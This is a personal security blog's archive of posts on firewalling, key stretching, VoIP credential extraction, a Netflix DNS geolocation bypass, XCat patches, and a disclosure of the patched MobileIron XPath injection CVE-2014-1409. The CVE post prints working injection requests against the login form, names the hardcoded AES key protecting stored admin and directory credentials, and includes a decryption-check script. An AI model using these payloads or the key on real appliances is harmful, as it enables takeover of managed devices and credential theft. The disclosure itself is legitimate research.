NextGen$'s blog

Extracting voip credentials from my broadband router

2019-04-20T19:06:00+01:00

One of the advantages of being in France is that you get to enjoy reasonably fast FTTH for cheap. Dirt cheap. I use Red by SFR and pay 20EUR/month for ~1Gb/s downlink and ~300Mb/s uplink with ~3ms of latency out of their network!

Too bad ISPs go out of their way to make it hard for you to switch their crappy equipment with your own. Luckily, I have found an online online community of enthusiasts who are maintaining a knowledgebase with the magic incantations required to make it work.

The ISP also provides unlimited calls, but getting voip to work involves retrieving credentials that are not readily accessible, making it very impractical. In a bid to improve upon the status quo, I'll share code that just spits out the configuration bits you need to configure your own SIP client.

I have been asked to obfuscate the magic going on underneeth and will only make it available in binary form (that I may or may not update, depending on the feedback I get).

Here are download links for Linux/x64 and Windows/x64. You will need to have already bypassed the ISP's provided router for them to work.

Thanks to maximushugus for providing a key element to make this possible.

Doing key stretching right

2019-04-14T19:06:00+01:00

While configuring my new laptop, I've recently spent some time thinking about my threat model and how full-disk-encryption fits in the picture. I came to the conclusion that I do need reasonable guarentees regarding protecting both the confidentiality and integrity of it but that I also depend on its availability (which didn't use to matter much to me). Translating the good old CIA triad into practical terms means that I do not want to be relying on the presence and good operation of my smartcard anymore to unlock my laptop.

Most people in my situation seem content with either entrusting their Full Disk Encryption keys to their TPM or using a very long passphrase and calling it a day. I am not one of them.

Both of these options suck. Trusting the TPM has repeatidely been proven to be a terrible idea (infineon rng bug but also extracting bitlocker keys from a TPM) and using exclusively a passphrase isn't an option either. I am convinced that attacks have become so cheap to conduct by the average attacker that we are on the wrong side of doable, no matter how "strong" one think his passphrase might be. First and foremost, the attacker may not be paying for the ressources he uses (depending on your own model: has access to a botnet or is getting the taxpayer to foot the bill), but even if he is, the econnomics are in his favour. Nowadays you can rent time on specialized hardware (GPUs of FPGAs), priced by the second, bidding on over-provisionned capacity directly from major cloud providers! I am looking at you AWS spot fleet instances!

This brings me to talk about something I see people do wrong time and time again: key stretching. The idea is simple, make offline bruteforce attacks against your secret as expensive as possible to a potential attacker. The tradeoff is obviously that you will have to commit resources to make this harder. How much resources depends on the algorithm and parameters you pick... but as you will probably find out, readily available tools are very far from using the state of the art.

Let's do a bit of history here and talk about the different options for storing authentication credentials and how they came to light, starting from the naive approach to what is currenty state of the art. Developers need support too highlights that decent information on the topic is hard to come by and isn't reaching its intended audience.

The most naive option is to store the password itself and just compare it when required. The attack is obvious: grab the password from the medium and use that.
The less naive approach is to hash the password using a cryptographically secure hash function. The attack there is to use precomputation and rainbow tables. To protect against that attack, people have started introducing salt: data that is unpredictable to the attacker and will be stored alongside the hash and mixed in as required. The attacker can't pre-compute anything anymore (since he doesn't know the salt in advance).
This has been good enough and worked well for decades, but Moore's law has ruined it, making the unpractical practical again (straight brute-force). The industry has adapted and solutions have involved key stretching algorithms. First generation algorithms like PBKDF2 (what's used by WPA for WiFi passphrases, but also by LUKS) were just iterating over the same "fast" hash function. This has quickly evolved towards slower hash functions like bcrypt and then pushing towards the same idea, hash functions designed specifically to be slow and resource intensive (both in CPU cycles and memory) like scrypt and more recently argon2id. Nowadays there is even a competition on who will come up with the least efficient scheme at https://password-hashing.net/.
These are great choices but we can do better than that. Fondamentally what you want is to prevent the attacker from parallelizing his attack and to do that, the best solution is to force him to use something he can't scale. Force him to attack it "online". Mobile phones do it right and have proven to defeat powerful attackers, so why shouldn't your laptop?

In part 2 we will explore how one can do it easily with a TPM.

Resurrecting my blog

2019-04-01T15:06:00+01:00

Once every few years I feel like blogging. I don't know how long I will manage to keep it up this time but I am determined to try again.

Application firewalling with netfilter (part 2)

2015-07-26T21:45:00+01:00

Last time we've looked into how to do application firewalling with netfilter and came up with an answer whose dependencies aren't shipped by mainstream distributions just yet. Today we will find another way of doing the same thing on with the tools everyone have.

# install dependencies
sudo apt-get install sudo

# create a user called 'internet'
sudo adduser internet

# setup the firewall
sudo iptables -F OUTPUT
sudo iptables -P OUTPUT REJECT
sudo iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 --syn -m owner --uid-owner internet -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 --syn -m owner --uid-owner internet -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 53 --syn -m owner --uid-owner internet -j ACCEPT
sudo iptables -A OUTPUT -p udp --dport 53 -m owner --uid-owner internet -j ACCEPT

sudo cat > /etc/sudoers.d/internet <<EOT
Defaults env_keep+="XAUTHORITY DISPLAY"
$LOGNAME ALL=(internet) NOPASSWD: /usr/bin/iceweasel
EOT

# give access to our MIT-MAGIC-COOKIE to everyone locally (bad idea! man xauth to understand why)
chmod a+rx $HOME
chmod a+r $XAUTHORITY

# run firefox
sudo -u internet /usr/bin/iceweasel

That works... but is far from perfect. More details on why to follow in my next post.

Application firewalling with netfilter

2015-07-23T15:08:00+01:00

Today I've stumbled upon a post from my friend Feth, asking whether allowing only firefox to access the internet was possible on Linux... Of course it is! Here's one of the many ways:

# setup the firewall
sudo iptables -F OUTPUT
sudo iptables -P OUTPUT REJECT
sudo iptables -A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 80 --syn -m cgroup --cgroup 1 -j ACCEPT
sudo iptables -A OUTPUT -p tcp --dport 443 --syn -m cgroup --cgroup 1 -j ACCEPT

# create a cgroup named firefox
sudo cgcreate -t $LOGNAME:users -a $LOGNAME:users -g net_cls:firefox
# allocate an identifier to the cgroup
echo 1 > /sys/fs/cgroup/net_cls/firefox/net_cls.classid

# run firefox
cgexec -g net_cls:firefox iceweasel &

The following commands might be useful to debug what's going on:

$ls -ld /sys/fs/cgroup/net_cls/firefox/
drwx------ 2 nextgens users 0 Jul 23 18:03 /sys/fs/cgroup/net_cls/firefox/
$cat /sys/fs/cgroup/net_cls/firefox/cgroup.procs

Attentive readers will notice that the above doesn't work for at least two reasons:

Distros don't ship a version of netfilter with cgroup support just yet
A browser without DNS resolution is only marginally useful ;)

Tomorrow I might blog about how to recompile/repackage a recent-enough version of iptables; Or maybe a different way of doing the same thing involving SElinux and/or network namespaces; Or maybe rant on how useless application firewalls are (both as a security control and an anti-privacy leakage mitigation).

Feel free to let me know what you prefer in the comments.

Disabling connection tracking on bridge interfaces created by libvirt

2015-07-22T10:02:00+01:00

Today I got bitten by a problem I've already encountered in the past... and as I didn't document it properly, I had to google it again! Let this blog entry be a more permanent documentation than the previous one.

Early in the morning, the supervision system has started alerting me that the response time of one of the virtualization hosts we use at Matta is going through the roof; making everything 'feel' slow.

Connecting to the system through SSH is already taking tens of seconds, indicating that something is indeed seriously wrong. Modern linux systems use resource isolation in the form of cgroups and are quite resilient to obnoxious programs chewing up resources; The traditional fork-bomb is a lot less effective than it used to be thanks to these improvements.

The following command can be used to see how the processes are grouped by your init system:

ps xawf -eo pid,user,cgroup,args

At this stage, when I've finally obtained a command prompt on the remote server, I knew that the cause of the problem was kernel-related. So my first command was dmesg

...
nf_conntrack: table full, dropping packet.
...

This message is familiar; being a penetration testing company, we are using and abusing of advanced TCP trickery, confusing the hell out of any stateful firewall in the way. Tonight, the culprit was Nmap conducting a SYN scan...

No matter how much resources I could allocate to the tracking table, it will never be big enough... and fundamentally, there is no reason to filter the traffic bridged from the VM to the network using a stateful firewall. In the past I've decided to deal with that specific problem by setting a rule to tell netfilter to specifically disregard the traffic flowing through the bridged devices. This was achieved with the following command:

iptables --table raw -A PREROUTING -m physdev --physdev-is-bridged -j NOTRACK

It worked well; up until the point where a new rule was introduced, negating its effects. The improved solution reads:

echo net.bridge.bridge-nf-call-iptables=0 >> /etc/sysctl.conf
sysctl -p

Live and learn as they say!

Netflix ultimate geolocation bypass with an edgerouter

2015-01-05T19:06:00+00:00

It looks like Netflix has updated their geolocation code... attempting to prevent their users from watching content intended for other regions. This post explores a few technical avenues one might consider to bypass it.

Googling around, it becomes increasingly clear that many people are making a living out of selling bypasses both in the form of technical solutions and support. The signal over noise ratio is very low and after 15mins it has become increasingly clear that tcpdumping the traffic is the way to find out "what they've changed".

Up until this month, users tend to use two different techniques to get around the restrictions. They either subscribe to a VPN service (in addition to their netflix subscription!) or what providers calls a "smart DNS". Both solutions are unacceptable to me as they are both completely inadequate security wise. Why should I trust a random system on the internet with my internet traffic when I don't have to?

To give you an illustrated example of why it's a bad idea, let's talk about what seems to be the most popular solution: Hola; it's free as in free-beer. Turns out that these guys are operating a peer to peer network of proxies, reselling your bandwidth through their Luminati service. One should keep in mind that, on the internet, if you're not paying, odds are you're the product!

TCPDumping the traffic in and out, it became apparent that the geolocation is happening at the DNS level. Luckily for us, there are plenty of open DNS resolvers on the internet. While I won't write down the one I use for obvious reasons, I'll share a list of ideas where you can find one (for free!):

Of course, I wouldn't trust any of them with my DNS traffic (unlike most of the tutorials I've found on the internet)... So instead of changing the system's resolver to one of them, here is the edgerouter command I've used:

set service dns forwarding options server=/netflix.com/$ip

This ensures that only the traffic going to *.netflix.com will be queried through that DNS resolver.

This has been working for years, up until this month where the application has been updated. Ever since, the geolocation finds out which zone I'm entitled to. TCPDumping the traffic has once again proved useful and told me that now Netflix is doing two different DNS queries using both the system's configured resolver and a hardcoded one (Google's). It then decides which zone you're in, based on the result of both, trusting Google's over your local DNS. So yes; if you used to bypass their zone restriction using DNS, they know it ;)

My initial (naive) attempt was to try out what happens when Google can't be reached. The following command does just that:

set protocols static route 8.8.8.8 blackhole

This works for some definition of "work". The stream will eventually start but you will have to wait for timeouts while navigating and picking your movie; making the whole trick sub-optimal. A better solution is to do destination NAT and pretend that our local resolver is Google's. it can be achieved using the following config:

edit service nat rule 4999
 description netflix
 destination {
     address 8.8.8.8
     port 53
 }
 inbound-interface $LAN_IF
 inside-address {
     address $LAN_IP
 }
 protocol tcp_udp
 type destination

Using iptables, it would look like that:

iptables -t nat -A PREROUTING -d 8.8.8.8/32 -i $LAN_IF -p udp -m udp --dport 53 -j DNAT --to-destination $LAN_IP
iptables -t nat -A PREROUTING -d 8.8.8.8/32 -i $LAN_IF -p tcp -m tcp --dport 53 -j DNAT --to-destination $LAN_IP

That works wonders and is the ultimate solution to me. It's not wasting bandwidth encapsulating traffic through a tunnel nor trusting random unknowns on the internet to route it for me... and it's free!

CVE-2014-1409 or the sad tale of an XPath injection affecting mobileiron products

2014-06-23T11:06:00+01:00

Following up on my last post about XPath injections, I will document part of the process we went through to exploit CVE-2014-1409 and hopefully convince a few that this category of bugs is no joke and should be looked for during pentests.

So, what about it? Well, let me tell you a story. The story of a remote-root which doesn't involve any memory corruption on a very widely used and deployed appliance sold by a security vendor.

In terms of exploitation methodology, here is what needs doing:

identify a valid/error pattern (see requests below)

turn the valid/error pattern into a true/false one (trivial)

exfiltrate the XML content (see structure of the document below to build an optimized query)

de-obfuscate the credentials (see below).

login

All of the above has been described in MATTA-2013-004; The vendor has issued a patch and it was made public on 02-04-14. I feel like releasing more details will help other members of the security community develop signatures for IDSes and plugins for vulnerability scanners.

The two HTTP requests I use to check whether an appliance is vulnerable are the following:

POST /mics/j_spring_security_check HTTP/1.1
Host: XXX
Referer: https://XXX/mics/login.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

j_username=x'and+concat('1','1')='1&j_password=p

-> 'valid' case: response will be HTTP 302

POST /mics/j_spring_security_check HTTP/1.1
Host: XXX
Referer: https://XXX/mics/login.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

j_username=x'and+concat('1','1'=)'1&j_password=p

-> 'error' case: response will be HTTP 404

With the assistance of XCat and the following patches, you should be able to download the device's configuration file. It contains the obfuscated credentials you will need to connect to https://XXX/mics/login.jsp as administrator! Keep in mind that you need to set the Referer header for the test vector to work; I have a separate XCat patch for that too.

<configuration><identity>
<user>
        <principal>admin</principal>
        <password>base64 encoded obfuscated password</password>
</user>

</identity></configuration>

If the applicance is linked to active-directory (or another LDAP server), it will contain the credentials to connect to it (<directoryUserID> and <directoryPassword>).

The credentials are obfuscated using encryption and a static key. The following script should get you the plaintext:

#!/usr/bin/env python
#
#  MobileIron uses AES-ECB-PKCS1.5 (with a known key)
# to store credentials... What a brilliant idea!
#
# This script is about checking whether the provided
# hash is vulnerable to CVE-2013-7286 or not.
#
# NextGen$ ~ 2013

import sys
import binascii
import hashlib
import string
from Crypto.Cipher import AES

if len(sys.argv)<2:
 sys.exit('Usage: ./CVE-2013-7286.py <base64encoded blob>')

BS = 8
unpad = lambda s : s[0:-ord(s[-1])]

if __name__== "__main__":
    # Generate the master key...
    # Yes. It's not a typo!
    phrase = 'Hakuna matata what a woderful phrase'
    m = hashlib.sha1()
    m.update(phrase)
    # We only want the 16 first bytes (128bit key, 160bit hash function)
    key = m.digest()[:16]
    ciphertext = binascii.a2b_base64(sys.argv[1])
    cipher = AES.new(key, AES.MODE_ECB)
    plaintext = unpad(cipher.decrypt(ciphertext))
    vulnerable = len(plaintext) > 0 and all(c in string.printable for c in plaintext)
    print '%sVULNERABLE TO CVE-2013-7286' % ('' if vulnerable else 'NOT ')

Once logged in as administrator on the device, it's game over. You can remotely deploy apps (and get shells!) on all the attached mobile devices and you can capture the traffic flowing through the device. Moreover, you might be able to reuse the AD credentials elsewhere on the infrastructure... OWA and SSL-VPNs are obvious targets. Overall it's a very difficult compromize to recover from as the defender; a successfull attack leaves no useful log to speak of.

Exploiting XPath injection vulnerabilities with XCat

2014-06-21T11:06:00+01:00

XPath injection bugs are relatively common in web applications, yet it's a vulnerability class ignored by the vast majority of pentesters.

I think that there is two main reasons for that:

The tooling to exploit this type of vulnerabilities sucks.
There is very few documented cases of "useful" bugs being exploited

This blog post will attempt to address the former, by detailing several trivial patches that have been submitted to XCat, an automated XPath injection exploitation tool. As you will soon realise, like most pentesting tools, XCat needs some love... In its current form, it's next to useless.

Patch number one: should you ever need to exploit a bug where the HTTP-response-code is your oracle, you will need the following:

commit 705b58c61efe116694dcfb0c62db9fe0daf1bbda
Author: Florent Daigniere <nextgens@freenetproject.org>
Date:   Sat Jan 18 21:28:20 2014 +0000

    The logic is not quite right; it can be HTTP codes too

diff --git a/src/xcat.py b/src/xcat.py
index 21bf950..f57b4e7 100755
--- a/src/xcat.py
+++ b/src/xcat.py
@@ -445,8 +445,8 @@ if __name__ == "__main__":

     sys.stderr.write("XCat version %s\n"%__VERSION__)

-    if not any([args.false_keyword, args.true_keyword, args.error_keyword]):
-        sys.stderr.write("Error: You must supply a false, true or error keywor
+    if not any([args.false_keyword, args.true_keyword, args.error_keyword, arg
+        sys.stderr.write("Error: You must supply a false, true or error keywor
         exit()

     if not args.post_argument:

Patch number two: if the bug's oracle is error based, this will also be useful...

commit 290e93a1a9a57529e7bc07027a87beca9135f43d
Author: Florent Daigniere <nextgens@freenetproject.org>
Date:   Sat Jan 18 21:28:54 2014 +0000

    Fix the HTTP-error code case

diff --git a/src/lib/payloads.py b/src/lib/payloads.py
index 0093c7d..11855c4 100644
--- a/src/lib/payloads.py
+++ b/src/lib/payloads.py
@@ -91,7 +91,7 @@ class PayloadMaker(object):

         self._headers = Headers({"User-Agent":[config.user_agent], "Referer":[

-        if config.error_keyword:
+        if config.error_keyword or config.error_code:
             self.BASE = string.Template("' and (if ($payload) then error() els
         else:
             self.BASE = string.Template("' and $payload and '1'='1".replace("'

I hope these patches will save a few hours to the next poor soul that runs into the same issue as I did.

See you soon for a follow-up post, where I will try to convince the audience that XPath injection bugs can mean serious business.

Is SantanderUK compromised?

2014-03-25T10:10:00+00:00

This morning I have received a special spam, the kind that warrants a blog post.

It's interesting for several reasons:

It has my name in the Subject Header
It came through an address that I have only given to my bank
It uses a clever old-school trick to avoid bayesian filtering (text hidden with white fonts on a white background)
It used Microsoft's delivery infrastructure (and therefore didn't have any problems with grey-listing)
It uses 'sane' headers and no links (which tends to be a red-flag for spams)

As a security professional, when I see that type of targeted spam, several questions spring to mind:

Have they sold my details? If so, where did they get my consent from?
If not, they must have been compromised. What else have they leaked? Do they even know?

I have sent them an email this morning, asking the questions above... and will update this post with their reply.

For the curious, here is a copy of the spam from Santander.

Hello world!

2014-03-21T11:06:00+00:00

This is our first post!! A classic

print("HELO world!")

See you soon ;)